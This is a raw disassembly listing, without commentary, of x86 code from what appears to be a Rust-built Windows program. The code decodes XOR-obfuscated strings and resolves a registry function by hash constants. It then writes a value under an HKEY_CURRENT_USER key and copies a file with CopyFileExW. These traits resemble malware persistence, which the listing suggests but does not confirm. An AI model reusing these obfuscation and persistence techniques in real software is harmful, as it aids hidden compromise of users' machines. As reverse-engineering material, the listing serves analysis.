inc ecx
cmp edx, 0x80
jb 0x3d8b4d3
mov ecx, 2
cmp edx, 0x800
jb 0x3d8b4d3
cmp edx, 0x10000
mov ecx, 4
sbb ecx, 0
mov edi, dword [esi + 0x20]
add edi, ecx
xor eax, eax
jmp 0x3d8b41a
shl edx, 0xc
or edx, eax
mov ebx, dword [esi + 8]
jmp 0x3d8b498
mov edi, dword [esi + 0x1ec]
mov eax, dword [esi + 0xec]
mov ecx, edi
mov dword [esi + 0x20], edi
add eax, edi
cmp eax, edx
jae 0x3d8b619
mov ecx, dword [esi + 0x1d8]
mov dword [esi + 0xc8], ecx
mov ecx, dword [esi + 0x1e0]
mov edi, dword [esi + 0x14]
cmp ecx, edi
cmova edi, ecx
mov dword [esi + 0x18], edi
mov edi, dword [esi + 0x1dc]
mov dword [esi + 0x16c], edi
mov edi, dword [esi + 0x1e8]
mov dword [esi + 0x168], edi
mov dword [esi + 0xb0], ecx
dec ecx
mov dword [esi + 0xcc], ecx
mov cl, byte [ebx + eax]
xor eax, eax
xor edi, edi
inc edi
shld eax, edi, cl
shl edi, cl
test cl, 0x20
cmovne eax, edi
mov ecx, 0
cmovne edi, ecx
and eax, dword [esi + 0x16c]
and edi, dword [esi + 0xc8]
or edi, eax
je 0x3d8b5ae
mov eax, dword [esi + 0x20]
add eax, ebx
mov edi, dword [esi + 0xb0]
cmp dword [esi + 0x18], edi
je 0x3d8b5b6
mov ecx, edi
mov edi, dword [esi + 0x20]
add edi, ecx
cmp edi, edx
jae 0x3d8bea5
lea edi, [ecx + 1]
mov ebx, dword [esi]
mov bl, byte [ebx + ecx]
cmp bl, byte [eax + ecx]
mov ebx, dword [esi + 0xc]
je 0x3d8b57c
mov eax, dword [esi + 0x20]
sub eax, dword [esi + 0xb0]
add ecx, eax
inc ecx
jmp 0x3d8b5f9
mov ecx, dword [esi + 0x20]
add ecx, dword [esi + 0x14]
jmp 0x3d8b5f9
mov ecx, dword [esi + 0xb0]
sub ecx, 1
jb 0x3d8b319
mov eax, dword [esi + 0x14]
cmp dword [esi + 0xcc], eax
jae 0x3d8be8c
mov eax, dword [esi + 0x20]
add eax, ecx
cmp eax, edx
jae 0x3d8be99
mov edi, dword [esi]
mov bl, byte [edi + ecx]
mov edi, dword [esi + 0xc]
cmp bl, byte [edi + eax]
je 0x3d8b5bc
mov ebx, edi
mov ecx, dword [esi + 0x20]
add ecx, dword [esi + 0x168]
mov eax, dword [esi + 0xec]
mov edi, ecx
mov dword [esi + 0x20], ecx
add eax, ecx
cmp eax, edx
jb 0x3d8b546
jmp 0x3d8b619
test byte [esi], 1
je 0x3d8b319
cmp dword [esi + 0x40], 0
je 0x3d8b630
push dword [esi + 4]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor ebx, ebx
lea eax, [esi + 0x90]
mov dword [eax], ebx
mov dword [eax + 4], 2
mov dword [eax + 8], ebx
mov edi, 0x200
mov dword [esi + 0xc], 2
cmp edi, 0x201
jae 0x3d8b66d
mov dword [esi], ebx
mov dword [esi + 4], 0x200
lea eax, [esi + 0x1d0]
mov ebx, edi
mov edi, eax
jmp 0x3d8b6a9
sub edi, ebx
je 0x3d8b69b
mov dword [esi + 0x698], 0xc
lea ecx, [esi + 0x90]
mov edx, ebx
push edi
call fcn.03dcd210
add esp, 4
mov ebx, dword [esi + 0x90]
mov eax, dword [esi + 0x94]
mov dword [esi + 0xc], eax
mov dword [esi + 0x98], ebx
mov dword [esi + 4], ebx
mov edi, dword [esi + 0xc]
mov dword [esi], ebx
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [0x3de3030]
mov dword [esi + 0x20], edi
push edi
push ebx
call eax
mov edi, eax
test eax, eax
jne 0x3d8b6cc
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x3d8b733
cmp edi, ebx
jne 0x3d8b6f2
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x7a
jne 0x3d8c0fc
lea edi, [ebx + ebx]
test ebx, ebx
mov eax, 0xffffffff
cmovs edi, eax
mov ebx, dword [esi]
jmp 0x3d8b650
mov ebx, dword [esi]
ja 0x3d8b650
mov dword [esi + 0x698], 0xc
mov edx, dword [esi + 4]
cmp edi, edx
ja 0x3d8c19e
lea ecx, [esi + 0x40]
mov edx, dword [esi + 0x20]
push edi
call fcn.03da6300
add esp, 4
mov eax, dword [esi + 0x40]
mov dword [esi + 4], eax
mov ebx, dword [esi + 0x44]
mov edi, dword [esi + 0x48]
mov dword [esi + 0x20], ebx
shrd ebx, edi, 8
jmp 0x3d8b748
mov dword [esi + 4], 0x80000000
mov dword [esi + 0x20], 0
call sub.KERNEL32.dll_GetLastError
mov edi, eax
mov eax, dword [esi]
test eax, eax
je 0x3d8b75f
push dword [esi + 0xc]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
movzx eax, byte [esi + 0x20]
cmp dword [esi + 4], 0x80000000
je 0x3d8c165
shl ebx, 8
or ebx, eax
mov dword [esi + 0x1b0], ebx
mov dword [esi + 0x1b4], edi
lea eax, [esi + 0x1b0]
mov dword [esi + 0x40], eax
lea edx, [esi + 0x1d0]
mov dword [edx], 0x3dcef10
mov eax, 2
mov dword [edx + 4], eax
mov dword [edx + 0x10], 0
lea ecx, [esi + 0x40]
mov dword [edx + 8], ecx
mov dword [edx + 0xc], eax
mov dword [esi + 0x44], 0x3daeb90
lea eax, [esi + 0x70]
mov dword [esi + 0x48], eax
mov dword [esi + 0x4c], 0x3d82658
lea edi, [esi + 0x90]
mov ecx, edi
call fcn.03d92750
mov eax, edi
mov edi, dword [edi + 4]
mov eax, dword [eax + 8]
add eax, edi
lea ecx, [esi + 0xd0]
mov edx, edi
push eax
call fcn.03da0be8
add esp, 4
lea eax, [esi + 0x90]
cmp dword [eax], 0
je 0x3d8b804
push edi
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esi + 4], 0
je 0x3d8b819
push ebx
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esi + 0x70], 0
je 0x3d8b830
push dword [esi + 0x74]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esi + 0x10]
mov ecx, dword [eax + 4]
mov dword [esi], ecx
mov eax, dword [eax + 8]
mov dword [esi + 4], eax
mov edi, dword [esi + 0xd4]
lea edx, [esi + 0x40]
mov byte [edx], 1
mov ebx, dword [esi + 0xd8]
lea ecx, [esi + 0xf0]
push ebx
push edi
call fcn.03dabbb0
lea eax, [esi + 0xf0]
add esp, 8
cmp byte [eax], 4
jne 0x3d8b925
lea ecx, [esi + 0x1d0]
mov edx, edi
push dword [esi + 0x88]
push dword [esi + 0x3c]
push ebx
call fcn.03daeaa0
add esp, 0xc
lea eax, [esi + 0x1d0]
mov edi, dword [eax + 4]
mov eax, dword [eax + 8]
mov dword [esi + 0x20], eax
lea ebx, [esi + 0x40]
mov ecx, ebx
mov edx, dword [esi]
push dword [esi + 4]
call fcn.03da4600
add esp, 4
mov ecx, dword [ebx]
mov edx, dword [ebx + 4]
mov eax, dword [ebx + 8]
cmp ecx, 0x80000000
je 0x3d8b8f2
mov ebx, edx
lea edx, [esi + 0xf0]
mov dword [edx], ecx
mov dword [edx + 4], ebx
mov dword [edx + 8], eax
lea ebx, [esi + 0x90]
mov ecx, ebx
push 1
call fcn.03daa710
add esp, 4
mov eax, dword [ebx]
mov edx, dword [ebx + 4]
cmp eax, 0x80000000
jne 0x3d8bc19
mov eax, dword [esi + 0x98]
mov dword [esi + 0x74], eax
mov dword [esi + 0x70], edx
xor ebx, ebx
cmp dword [esi + 0x1d0], 0
je 0x3d8b917
push dword [esi + 0x1d4]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
test bl, bl
je 0x3d8c1af
mov al, 1
mov dword [esi], eax
jmp 0x3d8b934
push eax
call fcn.03d827c6
add esp, 4
mov dword [esi], 0
mov eax, dword [esi + 0xd4]
mov ecx, dword [esi + 0xd8]
add ecx, eax
lea edi, [esi + 0x1d0]
mov dword [edi], 1
mov dword [edi + 4], eax
mov dword [edi + 8], ecx
mov word [edi + 0xc], 0
lea ecx, [esi + 0x90]
mov edx, edi
call fcn.03d8136f
lea eax, [0x3dc8707]
mov dword [edi], eax
mov ecx, dword [edi]
mov dword [edi], 0x901e8b47
mov edx, dword [edi]
call fcn.03d81ca5
xorps xmm0, xmm0
movaps xmmword [edi + 0x30], xmm0
movaps xmmword [edi + 0x20], xmm0
movaps xmmword [edi + 0x10], xmm0
movaps xmmword [edi], xmm0
mov dword [edi + 0x40], 0
mov ecx, 0xfffffffc
mov edx, dword [ecx + 0x3dcef24]
xor edx, dword [eax + ecx + 4]
mov dword [esi + ecx + 0x1d4], edx
add ecx, 4
cmp ecx, 0x40
jb 0x3d8b99c
mov al, byte [eax + 0x44]
xor al, 0x5f
lea ebx, [esi + 0x1d0]
mov byte [ebx + 0x44], al
push 0x45
push edi
lea edi, [esi + 0xf0]
push edi
call fcn.03dbf720
add esp, 0xc
lea eax, [esi + 0x135]
xor ecx, ecx
inc ecx
mov dword [ebx], ecx
mov dword [ebx + 4], edi
mov dword [ebx + 8], eax
xor eax, eax
mov word [ebx + 0xc], ax
lea ecx, [esi + 0x40]
mov edx, ebx
call fcn.03d8136f
lea eax, [0x3dc1e6e]
mov dword [ebx], eax
mov ecx, dword [ebx]
mov dword [ebx], 0xd15a7a9b
mov edx, dword [ebx]
call fcn.03d81d75
mov ecx, 0x7bd8ae7a
xor ecx, dword [eax]
movzx edx, byte [eax + 6]
movzx eax, word [eax + 4]
xor edi, edi
inc edi
mov dword [ebx], edi
lea edi, [esi + 0x70]
mov dword [ebx + 4], edi
lea edi, [esi + 0x77]
mov dword [ebx + 8], edi
xor edi, edi
mov word [ebx + 0xc], di
lea edi, [esi + 0x77]
mov dword [edi - 7], ecx
xor eax, 0xf751
mov word [edi - 3], ax
xor dl, 0xec
mov byte [edi - 1], dl
lea ecx, [esi + 0xf0]
lea edx, [esi + 0x1d0]
call fcn.03d8136f
mov dword [edi - 7], 0
lea eax, [esi + 0x70]
push eax
lea eax, [esi + 0x40]
push dword [eax + 4]
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x3d8bac6
mov ecx, 0xaef6b785
call fcn.03d8203c
mov ecx, eax
mov edx, 0xf420933c
call fcn.03d820c0
mov ebx, dword [esi + 0xf4]
mov ecx, dword [esi + 0x98]
lea ecx, [ecx*2 + 2]
push ecx
push dword [esi + 0x94]
push 2
push 0
push ebx
push dword [esi + 0x70]
call eax
mov edi, eax
push dword [esi + 0x70]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
je 0x3d8bbcb
call sub.KERNEL32.dll_GetLastError
lea ecx, [esi + 0x1d0]
mov byte [ecx], 0
mov dword [ecx + 4], eax
call fcn.03d82864
mov edi, eax
cmp dword [esi + 0xf0], 0
je 0x3d8bafb
push dword [esi + 0xf4]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esi + 0x40], 0
je 0x3d8bb12
push dword [esi + 0x44]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esi + 0x90], 0
je 0x3d8bb2f
push dword [esi + 0x94]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
test edi, edi
je 0x3d8bb9f
push edi
call fcn.03d827c6
add esp, 4
xor ebx, ebx
push edi
push ebx
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
call sub.KERNEL32.dll_GetLastError
mov byte [esi + 0xf0], 0
mov dword [esi + 0xf4], eax
lea edi, [esi + 0xf0]
mov dword [esi + 0x40], edi
mov dword [esi + 0x44], fcn.03da9060
lea ecx, [esi + 0x1d0]
mov dword [ecx], 0x3dcef00
mov dword [ecx + 4], 2
mov dword [ecx + 0x10], ebx
lea eax, [esi + 0x40]
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], 1
call fcn.03dae3c0
push edi
call fcn.03d827c6
add esp, 4
cmp byte [esi], 0
jne 0x3d8c141
cmp dword [esi + 0x8c], 0
je 0x3d8950d
push dword [esi + 0x3c]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x3d8950d
cmp dword [esi + 0xf0], 0
je 0x3d8bbe3
push ebx
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esi + 0x40], 0
je 0x3d8bbfa
push dword [esi + 0x44]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esi + 0x90], 0
je 0x3d8bb9f
push dword [esi + 0x94]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x3d8bb9f
mov dword [esi + 4], eax
mov dword [esi], edx
mov dword [esi + 0x698], 0xe
lea ecx, [esi + 0x40]
mov edx, edi
push dword [esi + 0x20]
call fcn.03da4600
add esp, 4
mov ecx, dword [esi + 0x40]
mov edi, dword [esi + 0x44]
mov eax, dword [esi + 0x48]
cmp ecx, 0x80000000
je 0x3d8bc81
lea edx, [esi + 0xf0]
mov dword [edx], ecx
mov dword [edx + 4], edi
mov dword [edx + 8], eax
lea ecx, [esi + 0x90]
push 1
call fcn.03daa710
add esp, 4
mov ebx, dword [esi + 0x90]
mov edi, dword [esi + 0x94]
cmp ebx, 0x80000000
jne 0x3d8bca7
mov eax, dword [esi + 0x98]
mov dword [esi + 0x74], eax
mov dword [esi + 0x70], edi
mov eax, dword [esi]
cmp dword [esi + 4], 0
je 0x3d8b8f8
push eax
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x3d8b8f8
xor eax, eax
mov dword [esi + 0xf4], eax
mov dword [esi + 0xf0], eax
push eax
push eax
lea eax, [esi + 0xf0]
push eax
push 0x3dbc980
push edi
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
test eax, eax
je 0x3d8bd16
mov eax, dword [esi + 0xf0]
mov ecx, dword [esi + 0xf4]
mov dword [esi + 0x78], ecx
mov dword [esi + 0x74], eax
test ebx, ebx
je 0x3d8bcf5
push edi
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov bl, 1
cmp dword [esi + 4], 0
je 0x3d8b8fa
push dword [esi]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x3d8b8fa
call sub.KERNEL32.dll_GetLastError
mov byte [esi + 0x70], 0
mov dword [esi + 0x74], eax
test ebx, ebx
mov eax, dword [esi]
je 0x3d8bc89
push edi
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x3d8bc87
mov byte [esi + 4], 1
mov dword [esi], 0x80000000
jmp 0x3d8aa00
mov byte [esi + 4], 1
mov eax, dword [esi + 0xc]
mov edi, dword [esi]
mov ecx, dword [esi + 0x20]
jmp 0x3d8aa2d
lea ecx, [esi + 0x90]
mov edx, 0x1d
push 0x3dce848
push 0xb
push 0
call fcn.03dcc770
mov eax, dword [esi + 0x44]
mov dword [esi + 0x20], eax
jmp 0x3d8bd8c
mov dword [esi + 0x20], eax
lea ecx, [esi + 0x70]
call fcn.03d84276
cmp dword [esi + 0xf0], 0
je 0x3d8bda9
push dword [esi + 0xf4]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [esi + 0x20]
call fcn.03d8289a
cmp dword [esi + 4], 0
je 0x3d8bdc8
push dword [esi + 0xc]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esi + 0xb8], 0x80000000
jne 0x3d8bddf
lea ecx, [esi + 0xb8]
call fcn.03d81f3f
cmp dword [esi + 0x1c], 0
je 0x3d8bdf5
push dword [esi]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea ecx, [esi + 0x188]
call fcn.03d84276
cmp dword [esi + 0x88], 0
je 0x3d8be1a
push dword [esi + 0x18]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [esi + 0x8c], 0
je 0x3d8be5e
push dword [esi + 8]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x3d8be5e
mov dword [esi + 8], eax
cmp dword [esi + 0xf0], 0
je 0x3d8be56
push dword [esi + 0xf4]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [esi + 8]
call fcn.03d8289a
lea ecx, [esi + 0x1d0]
call fcn.03d81f80
jmp 0x3d8aade
mov dword [esi], 0x80000000
mov ebx, 0x80000000
jmp 0x3d8a607
mov ecx, dword [esi + 0x20]
add ecx, dword [esi + 0x16c]
mov edx, dword [esi + 8]
jmp 0x3d8beae
mov edx, dword [esi + 0x14]
push 0x3dd8280
call fcn.03dcc2b0
mov ecx, eax
push 0x3dd8290
call fcn.03dcc2b0
mov ecx, dword [esi + 0x20]
add ecx, dword [esi + 0xb0]
cmp edx, ecx
cmova ecx, edx
push 0x3dd82a0
call fcn.03dcc2b0
mov ecx, dword [esi]
mov dword [esi + 0xf0], ecx
mov ecx, dword [esi + 0x20]
mov dword [esi + 0xf4], ecx
mov ecx, dword [esi + 4]
mov dword [esi + 0xf8], ecx
mov dword [esi + 0xfc], eax
mov eax, dword [esi + 0x78]
mov dword [esi + 0x104], eax
mov eax, dword [esi + 0x74]
mov dword [esi + 0x100], eax
mov eax, dword [esi + 0x4c]
cmp eax, dword [esi + 0x44]
je 0x3d8c1d8
mov ecx, edi
mov edx, 0x3dcec00
call fcn.03dcbba4
mov dword [esi + 0x20], eax
lea ecx, [esi + 0xf0]
call fcn.03d839ab
mov dword [esi], 0x80000000
lea ecx, [esi + 0x40]
call fcn.03d84230
jmp 0x3d8aad1
mov eax, dword [esi]
mov dword [esi + 0x70], eax
mov eax, dword [esi + 0x20]
mov dword [esi + 0x74], eax
mov eax, dword [esi + 4]
mov dword [esi + 0x78], eax
mov dword [esi + 0x7c], ebx
mov eax, dword [esi + 0xc]
mov dword [esi + 0x80], eax
mov eax, dword [esi + 0x10]
mov dword [esi + 0x84], eax
cmp dword [esi + 0x128], 0
je 0x3d8c1f8
mov ecx, dword [esi + 0x3c]
mov edx, 0x3dcec30
call fcn.03dcbba4
mov dword [esi + 0x20], eax
lea ecx, [esi + 0x70]
call fcn.03d839ab
mov dword [esi], 0x80000000
lea ecx, [esi + 0xf0]
call fcn.03d84400
xor eax, eax
mov ebx, dword [esi + 0x20]
mov edi, dword [esi + 0x1c]
jmp 0x3d8aa69
call fcn.03d92320
mov ecx, 2
mov edx, 8
call fcn.03dcc180
cmp dword [esi + 4], 0xffffffff
jne 0x3d8aade
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x3d8aade
mov ecx, 4
mov edx, 0x20
call fcn.03dcc180
lea eax, [esi + 0x1a0]
mov ecx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destructionlibrary_std_src_threadlocal.rs
mov edx, 0x46
push 0x3dd9430
push 0x3dd845c
push eax
call fcn.03dcc5a0
mov dword [esi + 0x40], ebx
mov dword [esi + 0x44], edi
lea eax, [esi + 0x90]
mov dword [esi + 0xf0], eax
mov dword [esi + 0xf4], 0x3d93f10
lea eax, [esi + 0x40]
mov dword [esi + 0xf8], eax
mov dword [esi + 0xfc], fcn.03da9060
lea ecx, [esi + 0x1d0]
mov dword [ecx], str.failed_printing_to_:
mov eax, 2
mov dword [ecx + 4], eax
mov dword [ecx + 0x10], 0
lea edx, [esi + 0xf0]
mov dword [ecx + 8], edx
mov dword [ecx + 0xc], eax
mov dword [esi + 0x698], 3
mov edx, 0x3dd9468
call fcn.03dcc220
jmp 0x3d8c1ad
cmp dword [esi + 0x17c], 0
je 0x3d8c072
push edi
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor ecx, ecx
dec ecx
call fcn.03db9130
mov ecx, 4
mov edx, edi
call fcn.03dcc180
lea edi, [esi + 0x1d0]
mov edx, dword [edi + 4]
movzx ecx, al
call fcn.03d81ef9
mov dword [edi], str.Failed_create_temp_dir.._n_n
mov dword [edi + 4], 1
xor ebx, ebx
mov dword [edi + 0x10], ebx
mov dword [edi + 8], 0x3ddb048
mov dword [edi + 0xc], ebx
mov ecx, edi
call fcn.03dae3c0
cmp dword [esi + 0x40], ebx
je 0x3d8aade
push dword [esi + 0x44]
push 0
push dword [0x3de3a38]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x3d8aade
mov ecx, 4
mov edx, 0xc
call fcn.03dcc180
mov ecx, str.lock_count_overflow_in_reentrant_mutexlibrary_std_src_sync_remutex.rs
mov edx, 0x26
push 0x3dd9774
call fcn.03dcc640
mov dword [esi + 0x698], 0xc
mov ecx, str.internal_error:_entered_unreachable_code
mov edx, 0x28
push 0x3dda9a4
call fcn.03dcc370
add esp, 4
jmp 0x3d8c1ad
mov ecx, str.a_Display_implementation_returned_an_error_unexpectedly
mov edx, 0x37
push 0x3dd6f98
push 0x3dced68
lea eax, [esi + 0x1a0]
jmp 0x3d8bfe5
mov ecx, dword [esi + 0x3c]
mov edx, dword [esi + 0x88]
push dword [esi + 0xd8]
push dword [esi + 0xd4]
call fcn.03d85116
add esp, 8
xor ecx, ecx
call fcn.03db9130
shl ebx, 8
or ebx, eax
lea eax, [esi + 0x1d0]
mov dword [eax + 4], edi
mov dword [eax], ebx
mov dword [esi + 0x698], 0xd
mov ecx, str.called__Result::unwrap____on_an__Err__value
mov edx, 0x2b
push 0x3dda344
push 0x3dd846c
push eax
call fcn.03dcc5a0
add esp, 0xc
jmp 0x3d8c1ad
mov ecx, edi
push 0x3dda994
call fcn.03dcc310
add esp, 4
ud2
mov eax, dword [esi + 0x70]
mov edx, dword [esi + 0x74]
lea ecx, [esi + 0x1b0]
mov dword [ecx + 4], edx
mov dword [ecx], eax
call fcn.03d82864
jmp 0x3d8c15e
mov ecx, ebx
mov edx, dword [esi + 0xc]
push 0x3dd8cb4
push edx
push edi
call fcn.03dcc770
lea ecx, [esi + 0xfc]
mov eax, dword [ecx + 8]
mov dword [esi + 0xc0], eax
movsd xmm0, qword [ecx]
movsd qword [esi + 0xb8], xmm0
jmp 0x3d8bf1b
lea eax, [esi + 0x7c]
mov ecx, dword [eax + 8]
mov dword [esi + 0xc0], ecx
movsd xmm0, qword [eax]
movsd qword [esi + 0xb8], xmm0
jmp 0x3d8bf79